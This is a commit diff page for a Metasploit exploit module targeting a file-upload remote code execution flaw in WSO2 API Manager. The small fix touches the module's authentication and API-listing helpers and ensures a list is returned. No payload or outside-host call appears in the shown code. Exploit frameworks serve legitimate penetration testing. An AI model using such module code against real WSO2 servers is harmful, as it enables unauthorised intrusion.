Skip to content

Commit d5f0c61

Browse files
committed
Fix: Ensure api_list returns a list even when created during execution
1 parent 9642612 commit d5f0c61

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -146,17 +146,18 @@ def check
146146
end
147147

148148
def authenticate
149-
nounce = nil
149+
vprint_status('Authenticating...')
150150
res = send_request_cgi(
151151
'uri' => normalize_uri(target_uri.path, '/publisher/services/auth/login'),
152152
'method' => 'GET',
153153
'keep_cookies' => true
154154
)
155155

156-
loop_dectector = 0
157-
158156
fail_with(Failure::UnexpectedReply, 'Failed to authenticate') unless res
159157

158+
nounce = nil
159+
loop_dectector = 0
160+
160161
while res.redirect?
161162
loop_dectector += 1
162163
res = send_request_cgi(
@@ -237,7 +238,7 @@ def list_product_api
237238
if api_list.empty?
238239
print_error('No Products API available')
239240
print_status('Trying to create an API...')
240-
api_list = create_product_api
241+
api_list = [create_product_api]
241242
end
242243

243244
return api_list
@@ -326,6 +327,7 @@ def create_product_api
326327
fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201
327328

328329
print_good('API Product created successfully')
330+
329331
return res.get_json_document
330332
end
331333

0 commit comments

Comments
 (0)